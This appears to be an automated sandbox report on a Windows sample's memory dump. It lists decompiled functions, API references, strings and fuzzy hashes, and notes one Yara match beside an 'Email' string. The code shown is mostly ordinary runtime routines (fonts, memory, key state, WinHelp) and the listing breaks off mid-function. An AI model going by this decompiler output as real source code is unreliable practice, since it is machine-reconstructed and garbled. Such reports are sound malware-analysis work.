0x003d76d2
0x003d76e3
0x003d76ee
0x003d76f3
0x003d76f5
0x003d7704
0x003d770d
0x003d7716
0x003d772c
0x003d772c
0x003d7731
0x003d773c
0x003d773d
0x003d773f
0x003d7742
0x003d774a
0x00000000
0x00000000
0x003d771a
0x003d771d
0x003d7723
0x003d7729
0x003d7729
0x003d771d
0x003d772c
0x003d774c
0x003d7756
0x003d7764
0x003d7767
0x003d7777
0x003d7780
0x003d7785
0x003d778a
0x003d778a
0x003d7799
0x003d7850
0x003d7857
0x003d785c
0x003d785c
0x003d7864
0x00000000
0x003d779f
0x003d77a1
0x003d77a4
0x003d77a8
0x003d77b1
0x003d77bd
0x003d77c2
0x003d77c4
0x003d77c6
0x003d77c9
0x003d77ca
0x003d77cf
0x003d77d5
0x003d77d5
0x003d77e3
0x003d77e6
0x003d77ee
0x003d77f1
0x003d77f8
0x003d77ff
0x003d7806
0x003d7810
0x003d7815
0x003d7822
0x003d782b
0x003d7832
0x003d7835
0x003d7838
0x003d7845
0x003d7845
0x003d7869
0x003d7869
0x003d7869
0x003d786b
0x003d786e
0x003d7871
0x003d7879
0x003d787f
0x003d7887
0x003d7894
0x003d7894

APIs

OleGetIconOfClass.OLE32(?,00000000,000000FF), ref: 003D77CA

Strings

, xrefs: 003D77FF
, xrefs: 003D7806

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassIcon
String ID: $
API String ID: 2092262720-227171996
Opcode ID: aeb9e645e59bb1e9ff517d7e95de284d6fecc58c1428a303c64438d427fb7ce1
Instruction ID: 641d3bfa0879c692310ea79f858f5a10b269cf939012b97f4d80e0e3d3805fa6
Opcode Fuzzy Hash: aeb9e645e59bb1e9ff517d7e95de284d6fecc58c1428a303c64438d427fb7ce1
Instruction Fuzzy Hash: 5C71D971904208EFDB11DFA8E889AEEB7F8BB09310F5545A6F414EB351E7719E04CB51

Uniqueness

Uniqueness Score: -1.00%

Function 003C6A20, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E003C6A20(intOrPtr __eax, intOrPtr __ecx, intOrPtr __edx, void* __fp0) {
				intOrPtr _v8;
				intOrPtr* _v12;
				struct tagPOINT _v20;
				intOrPtr _v24;
				char _v28;
				char _v36;
				void* __edi;
				void* __ebp;
				intOrPtr _t54;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t71;
				intOrPtr _t74;
				intOrPtr _t88;
				intOrPtr _t105;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t120;
				intOrPtr _t123;
				intOrPtr _t124;
				intOrPtr _t129;
				void* _t133;
				intOrPtr _t134;
				void* _t137;

				_t137 = __fp0;
				_v8 = __ecx;
				_t88 = __edx;
				_t124 = __eax;
				 *0x3dbb74 = __eax;
				_push(_t133);
				_push(0x3c6bc5);
				_push( *[fs:edx]);
				 *[fs:edx] = _t134;
				_v12 = 0;
				 *0x3dbb7c = 0;
				_t135 =  *((char*)(__eax + 0x9b));
				if( *((char*)(__eax + 0x9b)) != 0) {
					E003832F8(__eax, __eflags);
					__eflags =  *0x3dbb74;
					if( *0x3dbb74 != 0) {
						__eflags = _v12;
						if(_v12 == 0) {
							_v12 = E003C5DE4(1, _t124);
							 *0x3dbb7c = 1;
						}
						_t128 =  *((intOrPtr*)(_v12 + 0x38));
						_t105 =  *0x3c4ab8; // 0x3c4b04
						_t54 = E00383288( *((intOrPtr*)(_v12 + 0x38)), _t105);
						__eflags = _t54;
						if(_t54 == 0) {
							_t129 =  *((intOrPtr*)(_v12 + 0x38));
							__eflags =  *((intOrPtr*)(_t129 + 0x30));
							if( *((intOrPtr*)(_t129 + 0x30)) != 0) {
								L14:
								__eflags = 0;
								E00395AD8(0,  &_v36, 0);
								E003C81E8(_t129,  &_v28,  &_v36);
								_t60 = _v12;
								 *((intOrPtr*)(_t60 + 0x44)) = _v28;
								 *((intOrPtr*)(_t60 + 0x48)) = _v24;
								L15:
								__eflags =  *(_v12 + 0x44) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x48));
								E00395AD8( *(_v12 + 0x44) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x48)),  &_v28,  *((intOrPtr*)(_v12 + 0x48)) +  *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x38)) + 0x4c)));
								_t65 = _v12;
								 *((intOrPtr*)(_t65 + 0x4c)) = _v28;
								 *((intOrPtr*)(_t65 + 0x50)) = _v24;
								goto L16;
							}
							_t116 =  *0x3c4ab8; // 0x3c4b04
							_t71 = E00383288(_t129, _t116);
							__eflags = _t71;
							if(_t71 != 0) {
								goto L14;
							}
							GetCursorPos( &_v20);
							_t74 = _v12;
							 *(_t74 + 0x44) = _v20.x;
							 *((intOrPtr*)(_t74 + 0x48)) = _v20.y;
							goto L15;
						} else {
							GetWindowRect(E003CEEB8(_t128), _v12 + 0x44);
							L16:
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							L17:
							E003C68B0(_v12, _v8, _t88, _t133, _t137);
							_pop(_t115);
							 *[fs:eax] = _t115;
							return 0;
						}
					}
					_pop(_t120);
					 *[fs:eax] = _t120;
					return 0;
				}
				E003832F8(__eax, _t135);
				if( *0x3dbb74 != 0) {
					__eflags = _v12;
					if(_v12 == 0) {
						_v12 = E003C5CCC(_t124, 1);
						 *0x3dbb7c = 1;
					}
					goto L17;
				}
				_pop(_t123);
				 *[fs:eax] = _t123;
				return 0;
			}

0x003c6a20
0x003c6a29
0x003c6a2c
0x003c6a2e
0x003c6a30
0x003c6a38
0x003c6a39
0x003c6a3e
0x003c6a41
0x003c6a46
0x003c6a49
0x003c6a50
0x003c6a57
0x003c6aad
0x003c6ab2
0x003c6ab9
0x003c6ac8
0x003c6acc
0x003c6adc
0x003c6adf
0x003c6adf
0x003c6ae9
0x003c6aee
0x003c6af4
0x003c6af9
0x003c6afb
0x003c6b19
0x003c6b1c
0x003c6b20
0x003c6b4d
0x003c6b52
0x003c6b54
0x003c6b61
0x003c6b66
0x003c6b6c
0x003c6b72
0x003c6b75
0x003c6b87
0x003c6b8d
0x003c6b92
0x003c6b98
0x003c6b9e
0x00000000
0x003c6b9e
0x003c6b24
0x003c6b2a
0x003c6b2f
0x003c6b31
0x00000000
0x00000000
0x003c6b37
0x003c6b3c
0x003c6b42
0x003c6b48
0x00000000
0x003c6afd
0x003c6b0c
0x003c6ba1
0x003c6baa
0x003c6bab
0x003c6bac
0x003c6bad
0x003c6bae
0x003c6bb6
0x003c6bbd
0x003c6bc0
0x00000000
0x003c6bc0
0x003c6afb
0x003c6abd
0x003c6ac0
0x00000000
0x003c6ac0
0x003c6a62
0x003c6a6e
0x003c6a7d
0x003c6a81
0x003c6a95
0x003c6a98
0x003c6a98
0x00000000
0x003c6a81
0x003c6a72
0x003c6a75
0x00000000

Strings

|6<, xrefs: 003C6A8B

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: |6<
API String ID: 0-81372628
Opcode ID: a4a120954d0cefd784b5ceb60ab5418dfaad5078143ee63c4ab6d68239ef0fad
Instruction ID: 36f08508a83cdc99cef14ade9792821242753743a3609e0ccc22632117bbb9b6
Opcode Fuzzy Hash: a4a120954d0cefd784b5ceb60ab5418dfaad5078143ee63c4ab6d68239ef0fad
Instruction Fuzzy Hash: 2D518D74A00609DFCB02DF69D882E9DBBF5EF88314F1184AAE800EB361D731AD85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003820F8, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00381A0C: RtlInitializeCriticalSection.KERNEL32(\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A22
Part of subcall function 00381A0C: RtlEnterCriticalSection.KERNEL32(\%,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A35
Part of subcall function 00381A0C: LocalAlloc.KERNEL32(00000000,00000FF8,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A5F
Part of subcall function 00381A0C: RtlLeaveCriticalSection.KERNEL32(\%,00381AC9,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381ABC

RtlEnterCriticalSection.KERNEL32(\%,00000000,00382274), ref: 00382143
RtlLeaveCriticalSection.KERNEL32(\%,0038227B), ref: 0038226E

Strings

\%, xrefs: 0038213E, 00382269

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: \%
API String ID: 2227675388-3107672707
Opcode ID: 121faf58750cfcfc5763dbde18f86a1f4c2acc07f75668cf92adf719d6c7f7d3
Instruction ID: fdb5d67bfd4ae7a1b6c6f3e34c5f4d40f72c80f09c9f99936c1f89d55c648a70
Opcode Fuzzy Hash: 121faf58750cfcfc5763dbde18f86a1f4c2acc07f75668cf92adf719d6c7f7d3
Instruction Fuzzy Hash: B141D0B1A05700DFEB17EF28FC8162AB7E9FB49314F2682EAD5518B7A1D7349901CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0039F92C, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0039F92C(void* __eax, void* __ebx, void* __ecx) {
				signed int _v8;
				struct tagLOGFONTA _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _t76;
				intOrPtr _t81;
				void* _t107;
				void* _t116;
				intOrPtr _t126;
				void* _t137;
				void* _t138;
				intOrPtr _t139;

				_t137 = _t138;
				_t139 = _t138 + 0xffffffb4;
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				_t116 = __eax;
				_push(_t137);
				_push(0x39fab5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t139;
				_v8 =  *((intOrPtr*)(__eax + 0x10));
				if( *((intOrPtr*)(_v8 + 8)) != 0) {
					 *[fs:eax] = 0;
					_push(E0039FABC);
					return E00383EE0( &_v80, 3);
				} else {
					_t76 =  *0x3db8e0; // 0x2140a4c
					E0039EC70(_t76);
					_push(_t137);
					_push(0x39fa8d);
					_push( *[fs:eax]);
					 *[fs:eax] = _t139;
					if( *((intOrPtr*)(_v8 + 8)) == 0) {
						_v68.lfHeight =  *(_v8 + 0x14);
						_v68.lfWidth = 0;
						_v68.lfEscapement = 0;
						_v68.lfOrientation = 0;
						if(( *(_v8 + 0x19) & 0x00000001) == 0) {
							_v68.lfWeight = 0x190;
						} else {
							_v68.lfWeight = 0x2bc;
						}
						_v68.lfItalic = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000002) != 0x00000000;
						_v68.lfUnderline = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000004) != 0x00000000;
						_v68.lfStrikeOut = _v8 & 0xffffff00 | ( *(_v8 + 0x19) & 0x00000008) != 0x00000000;
						_v68.lfCharSet =  *((intOrPtr*)(_v8 + 0x1a));
						E00384120( &_v72, _v8 + 0x1b);
						if(E00387D5C(_v72, "Default") != 0) {
							E00384120( &_v80, _v8 + 0x1b);
							E003886D4( &(_v68.lfFaceName), _v80);
						} else {
							E00384120( &_v76, "\rMS Sans Serif");
							E003886D4( &(_v68.lfFaceName), _v76);
						}
						_v68.lfQuality = 0;
						_v68.lfOutPrecision = 0;
						_v68.lfClipPrecision = 0;
						_t107 = E0039FC10(_t116) - 1;
						if(_t107 == 0) {
							_v68.lfPitchAndFamily = 2;
						} else {
							if(_t107 == 1) {
								_v68.lfPitchAndFamily = 1;
							} else {
								_v68.lfPitchAndFamily = 0;
							}
						}
						 *((intOrPtr*)(_v8 + 8)) = CreateFontIndirectA( &_v68);
					}
					_pop(_t126);
					 *[fs:eax] = _t126;
					_push(0x39fa94);
					_t81 =  *0x3db8e0; // 0x2140a4c
					return E0039EC7C(_t81);
				}
			}

0x0039f92d
0x0039f92f
0x0039f935
0x0039f938
0x0039f93b
0x0039f93e
0x0039f942
0x0039f943
0x0039f948
0x0039f94b
0x0039f951
0x0039f95b
0x0039fa9f
0x0039faa2
0x0039fab4
0x0039f961
0x0039f961
0x0039f966
0x0039f96d
0x0039f96e
0x0039f973
0x0039f976
0x0039f980
0x0039f98c
0x0039f991
0x0039f996
0x0039f99b
0x0039f9a5
0x0039f9b0
0x0039f9a7
0x0039f9a7
0x0039f9a7
0x0039f9c1
0x0039f9ce
0x0039f9db
0x0039f9e4
0x0039f9f0
0x0039fa04
0x0039fa29
0x0039fa34
0x0039fa06
0x0039fa0e
0x0039fa19
0x0039fa19
0x0039fa39
0x0039fa3d
0x0039fa41
0x0039fa4c
0x0039fa4e
0x0039fa56
0x0039fa50
0x0039fa52
0x0039fa5c
0x0039fa54
0x0039fa62
0x0039fa62
0x0039fa52
0x0039fa72
0x0039fa72
0x0039fa77
0x0039fa7a
0x0039fa7d
0x0039fa82
0x0039fa8c
0x0039fa8c

APIs

Part of subcall function 0039EC70: RtlEnterCriticalSection.KERNEL32(?,0039ECAD), ref: 0039EC74

CreateFontIndirectA.GDI32(?), ref: 0039FA6A

Strings

Default, xrefs: 0039F9F8
MS Sans Serif, xrefs: 0039FA09

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateCriticalEnterFontIndirectSection
String ID: MS Sans Serif$Default
API String ID: 2931345757-2137701257
Opcode ID: a23b714f415c83cabf5d882637df294f28d10cb761e114a50ec919a0985bc4e5
Instruction ID: 4ac08ac432210381acfe993a99c9ffff3a5998921c822bd96826042a41636272
Opcode Fuzzy Hash: a23b714f415c83cabf5d882637df294f28d10cb761e114a50ec919a0985bc4e5
Instruction Fuzzy Hash: AE512631A04288DFDF02DFA8C581BCDBBF6AF08304F6580A9E804EB252D7749E45DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00382288, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00382288(void* __eax) {
				intOrPtr _v8;
				void* __ebp;
				signed int* _t24;
				signed int* _t25;
				intOrPtr _t26;
				signed int* _t38;
				void* _t42;
				signed int _t43;
				signed int _t44;
				signed int _t51;
				intOrPtr _t52;
				signed int _t56;
				signed int* _t58;
				signed int* _t62;
				intOrPtr _t65;
				intOrPtr _t67;

				_t65 = _t67;
				_t42 = __eax;
				 *0x3db5c8 = 0;
				if( *0x3db5c4 != 0 || E00381A0C() != 0) {
					_push(_t65);
					_push(E0038241A);
					_push( *[fs:ecx]);
					 *[fs:ecx] = _t67;
					__eflags =  *0x3db04d;
					if( *0x3db04d != 0) {
						_push("�\%");
						L00381368();
					}
					_t62 = _t42 - 4;
					_t43 =  *_t62;
					__eflags = _t43 & 0x00000002;
					if((_t43 & 0x00000002) != 0) {
						 *0x3db5b4 =  *0x3db5b4 - 1;
						 *0x3db5b8 =  *0x3db5b8 - (_t43 & 0x7ffffffc) - 4;
						__eflags = _t43 & 0x00000001;
						if((_t43 & 0x00000001) == 0) {
							L14:
							_t44 = _t43 & 0x7ffffffc;
							_t24 = _t62 + _t44;
							_t58 = _t24;
							__eflags = _t58 -  *0x3db620; // 0x21503ec
							if(__eflags != 0) {
								_t51 =  *_t24;
								__eflags = _t51 & 0x00000002;
								if((_t51 & 0x00000002) == 0) {
									_t25 = _t58;
									__eflags = _t25[1];
									if(_t25[1] == 0) {
										L25:
										 *0x3db5c8 = 0xb;
									} else {
										__eflags =  *_t25;
										if( *_t25 == 0) {
											goto L25;
										} else {
											__eflags = _t25[2] - 0xc;
											if(_t25[2] >= 0xc) {
												__eflags = _t44;
												E00381BB0(_t25);
												goto L27;
											} else {
												goto L25;
											}
										}
									}
								} else {
									__eflags = (_t51 & 0x7ffffffc) - 4;
									if((_t51 & 0x7ffffffc) >= 4) {
										 *_t24 =  *_t24 | 0x00000001;
										L27:
										E00381E18(_t62, _t44);
									} else {
										 *0x3db5c8 = 0xb;
									}
								}
								goto L28;
							} else {
								 *0x3db620 =  *0x3db620 - _t44;
								 *0x3db61c =  *0x3db61c + _t44;
								__eflags =  *0x3db61c - 0x3c00;
								if( *0x3db61c > 0x3c00) {
									E00381EA0(_t24);
								}
								_v8 = 0;
								E0038391C();
								goto L32;
							}
						} else {
							_t6 = _t62 - 0xc + 8; // 0x8a752
							_t56 =  *_t6;
							__eflags = _t56 - 0xc;
							if(_t56 < 0xc) {
								L10:
								 *0x3db5c8 = 0xa;
								goto L28;
							} else {
								__eflags = _t56 & 0x80000003;
								if((_t56 & 0x80000003) == 0) {
									_t38 = _t62 - _t56;
									_t9 =  &(_t38[2]); // 0x0
									__eflags = _t56 -  *_t9;
									if(_t56 ==  *_t9) {
										_t43 = _t43 + _t56;
										__eflags = _t43;
										_t62 = _t38;
										E00381BB0(_t38);
										goto L14;
									} else {
										 *0x3db5c8 = 0xa;
										goto L28;
									}
								} else {
									goto L10;
								}
							}
						}
					} else {
						 *0x3db5c8 = 9;
						L28:
						_t26 =  *0x3db5c8; // 0x0
						_v8 = _t26;
						__eflags = 0;
						_pop(_t52);
						 *[fs:eax] = _t52;
						_push(E00382421);
						__eflags =  *0x3db04d;
						if( *0x3db04d != 0) {
							_push("�\%");
							L00381370();
							return 0;
						}
						return 0;
					}
				} else {
					 *0x3db5c8 = 8;
					_v8 = 8;
					L32:
					return _v8;
				}
			}

0x00382289
0x0038228f
0x00382293
0x0038229f
0x003822c2
0x003822c3
0x003822c8
0x003822cb
0x003822ce
0x003822d5
0x003822d7
0x003822dc
0x003822dc
0x003822e3
0x003822e6
0x003822e8
0x003822eb
0x003822fc
0x0038230c
0x00382312
0x00382315
0x0038235c
0x0038235c
0x00382364
0x00382366
0x00382368
0x0038236e
0x0038239c
0x0038239e
0x003823a1
0x003823bf
0x003823c1
0x003823c5
0x003823d2
0x003823d2
0x003823c7
0x003823c7
0x003823ca
0x00000000
0x003823cc
0x003823cc
0x003823d0
0x003823e1
0x003823e3
0x00000000
0x00000000
0x00000000
0x00000000
0x003823d0
0x003823ca
0x003823a3
0x003823a9
0x003823ac
0x003823ba
0x003823e8
0x003823ec
0x003823ae
0x003823ae
0x003823ae
0x003823ac
0x00000000
0x00382370
0x00382370
0x00382376
0x0038237c
0x00382386
0x00382388
0x00382388
0x0038238f
0x00382392
0x00000000
0x00382392
0x00382317
0x0038231c
0x0038231c
0x0038231f
0x00382322
0x0038232c
0x0038232c
0x00000000
0x00382324
0x00382324
0x0038232a
0x0038233d
0x0038233f
0x0038233f
0x00382342
0x00382353
0x00382353
0x00382355
0x00382357
0x00000000
0x00382344
0x00382344
0x00000000
0x00382344
0x00000000
0x00000000
0x00000000
0x0038232a
0x00382322
0x003822ed
0x003822ed
0x003823f1
0x003823f1
0x003823f6
0x003823f9
0x003823fb
0x003823fe
0x00382401
0x00382406
0x0038240d
0x0038240f
0x00382414
0x00000000
0x00382414
0x00382419
0x00382419
0x003822aa
0x003822aa
0x003822b4
0x00382421
0x00382429
0x00382429

APIs

RtlEnterCriticalSection.KERNEL32(\%,00000000,0038241A,?,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 003822DC
RtlLeaveCriticalSection.KERNEL32(\%,00382421,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00382414

Part of subcall function 00381A0C: RtlInitializeCriticalSection.KERNEL32(\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A22
Part of subcall function 00381A0C: RtlEnterCriticalSection.KERNEL32(\%,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A35
Part of subcall function 00381A0C: LocalAlloc.KERNEL32(00000000,00000FF8,\%,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381A5F
Part of subcall function 00381A0C: RtlLeaveCriticalSection.KERNEL32(\%,00381AC9,00000000,00381AC2,?,?,003822A6,?,?,?,?,?,00381C95,00381EDB,00381F00), ref: 00381ABC

Strings

\%, xrefs: 003822D7, 0038240F

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: \%
API String ID: 2227675388-3107672707
Opcode ID: d20651256aed5bdb7e184419950a13aa38d9d84ef0d82bdea34fb76d0531b7ba
Instruction ID: 1a6e265622d7ab4600eecf29bc30609d64ff31b76ffc1336922ff8d490ee817a
Opcode Fuzzy Hash: d20651256aed5bdb7e184419950a13aa38d9d84ef0d82bdea34fb76d0531b7ba
Instruction Fuzzy Hash: B7412935601300CFD313BF35F85972A77EAEB42314F2641EAF8448B6A2C7B88985D750

Uniqueness

Uniqueness Score: -1.00%

Function 0235A29E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

Email, xrefs: 0235A2F4, 0235A301

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID: Email
API String ID: 1279760036-642995056
Opcode ID: 90be9642766f883ab04141c023780500749419b3bb9f9d9eeaef96c3ebafbf21
Instruction ID: 5d137aac51b8dae329c37d062961e1cbdea1e3313e2ecd9a061edd4705e96f3a
Opcode Fuzzy Hash: 90be9642766f883ab04141c023780500749419b3bb9f9d9eeaef96c3ebafbf21
Instruction Fuzzy Hash: BA316EB1508215BFDB119F50DC89D6BBFBDFB84398F004A19F98991021C731C955EB62

Uniqueness

Uniqueness Score: -1.00%

Function 003C1C04, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84
keyboardCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E003C1C04(intOrPtr __eax, void* __edx) {
				char _v8;
				signed short _v10;
				intOrPtr _v16;
				char _v17;
				char _v24;
				intOrPtr _t34;
				intOrPtr _t40;
				intOrPtr _t42;
				intOrPtr _t48;
				void* _t51;
				intOrPtr _t64;
				intOrPtr _t67;
				void* _t69;
				void* _t71;
				intOrPtr _t72;

				_t69 = _t71;
				_t72 = _t71 + 0xffffffec;
				_t51 = __edx;
				_v16 = __eax;
				_v10 =  *((intOrPtr*)(__edx + 4));
				if(_v10 == 0) {
					return 0;
				} else {
					if(GetKeyState(0x10) < 0) {
						_v10 = _v10 + 0x2000;
					}
					if(GetKeyState(0x11) < 0) {
						_v10 = _v10 + 0x4000;
					}
					if(( *(_t51 + 0xb) & 0x00000020) != 0) {
						_v10 = _v10 + 0x8000;
					}
					_v24 =  *((intOrPtr*)(_v16 + 0x34));
					_t34 =  *0x3dbb4c; // 0x2140dc4
					E003A5B1C(_t34,  &_v24);
					_push(_t69);
					_push(0x3c1d02);
					_push( *[fs:eax]);
					 *[fs:eax] = _t72;
					while(1) {
						_v17 = 0;
						_v8 = E003C1908(_v16, 2, _v10 & 0x0000ffff);
						if(_v8 != 0) {
							break;
						}
						if(_v24 == 0 || _v17 != 2) {
							_pop(_t64);
							 *[fs:eax] = _t64;
							_push(0x3c1d09);
							_t40 =  *0x3dbb4c; // 0x2140dc4
							return E003A5B14(_t40);
						} else {
							continue;
						}
						goto L14;
					}
					_t42 =  *0x3dbb4c; // 0x2140dc4
					E003A5B1C(_t42,  &_v8);
					_push(_t69);
					_push(0x3c1cd7);
					_push( *[fs:eax]);
					 *[fs:eax] = _t72;
					_v17 = E003C1AB0( &_v8, 0, _t69);
					_pop(_t67);
					 *[fs:eax] = _t67;
					_push(0x3c1cde);
					_t48 =  *0x3dbb4c; // 0x2140dc4
					return E003A5B14(_t48);
				}
				L14:
			}

0x003c1c05
0x003c1c07
0x003c1c0b
0x003c1c0d
0x003c1c17
0x003c1c20
0x003c1d1f
0x003c1c26
0x003c1c30
0x003c1c32
0x003c1c32
0x003c1c42
0x003c1c44
0x003c1c44
0x003c1c4e
0x003c1c50
0x003c1c50
0x003c1c5c
0x003c1c62
0x003c1c67
0x003c1c6e
0x003c1c6f
0x003c1c74
0x003c1c77
0x003c1c7a
0x003c1c7a
0x003c1c8c
0x003c1c93
0x00000000
0x00000000
0x003c1ce2
0x003c1cec
0x003c1cef
0x003c1cf2
0x003c1cf7
0x003c1d01
0x00000000
0x00000000
0x00000000
0x00000000
0x003c1ce2
0x003c1c98
0x003c1c9d
0x003c1ca4
0x003c1ca5
0x003c1caa
0x003c1cad
0x003c1cbc
0x003c1cc1
0x003c1cc4
0x003c1cc7
0x003c1ccc
0x003c1cd6
0x003c1cd6
0x00000000

APIs

GetKeyState.USER32(00000010), ref: 003C1C28
GetKeyState.USER32(00000011), ref: 003C1C3A

Strings

, xrefs: 003C1C4A

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: State
String ID:
API String ID: 1649606143-3916222277
Opcode ID: 684c110e05ce7067b74a668e89aa5ef3dc3a80895cbbf837957e413241ab166e
Instruction ID: c0497ce1ddc4205461d8003056d2bf87f52cdb9a41568ccc43dcd05570b49732
Opcode Fuzzy Hash: 684c110e05ce7067b74a668e89aa5ef3dc3a80895cbbf837957e413241ab166e
Instruction Fuzzy Hash: 3731A230A05648AFDB16DBA5E851BADB7B5EB4A700F55C4A9E804EA292E7744E00D720

Uniqueness

Uniqueness Score: -1.00%

Function 003AD6CC, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E003AD6CC(void* __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _t33;
				long _t46;
				CHAR* _t48;
				void* _t55;
				intOrPtr _t67;
				void* _t74;
				char _t76;
				void* _t79;

				_t74 = __edi;
				_t78 = _t79;
				_push(__ebx);
				_push(__esi);
				_v32 = 0;
				_v8 = 0;
				_v12 = 0;
				_t76 = __edx;
				_t55 = __eax;
				_push(_t79);
				_push(0x3ad7c4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79 + 0xffffffe4;
				_t81 = __edx;
				if(__edx == 0) {
					E0038B680(0x3ad26c, 1);
					E00383870();
				}
				_v28 = _t76;
				_v24 = 0xb;
				E003AD418(_t55, _t55,  &_v32, 0, _t74, _t76);
				_v20 = _v32;
				_v16 = 0xb;
				E00388D04("IE(AL(\"%s\",4),\"AL(\\\"%0:s\\\",3)\",\"JK(\\\"%1:s\\\",\\\"%0:s\\\")\")", 1,  &_v28,  &_v8);
				_t33 = E003ADD5C(_t55, _t74, _t78, _t81);
				_t82 = _t33;
				if(_t33 != 0) {
					E003AD418(_t55, _t55,  &_v12, 0, _t74, _t76);
					if(E003ADCB4(_t55, _t55, _v8, 1, _t76, _t82, 0) != 0 && _v12 != 0) {
						 *((char*)(_t55 + 0x10)) = 1;
						E00383F10(_t55 + 0x14, _v8);
						_t46 = E0038437C(_v8);
						_t48 = E0038437C(_v12);
						WinHelpA( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t55 + 0x1c)))) + 0xc))(), _t48, 0x102, _t46);
					}
				}
				_pop(_t67);
				 *[fs:eax] = _t67;
				_push(0x3ad7cb);
				E00383EBC( &_v32);
				return E00383EE0( &_v12, 2);
			}

0x003ad6cc
0x003ad6cd
0x003ad6d2
0x003ad6d3
0x003ad6d6
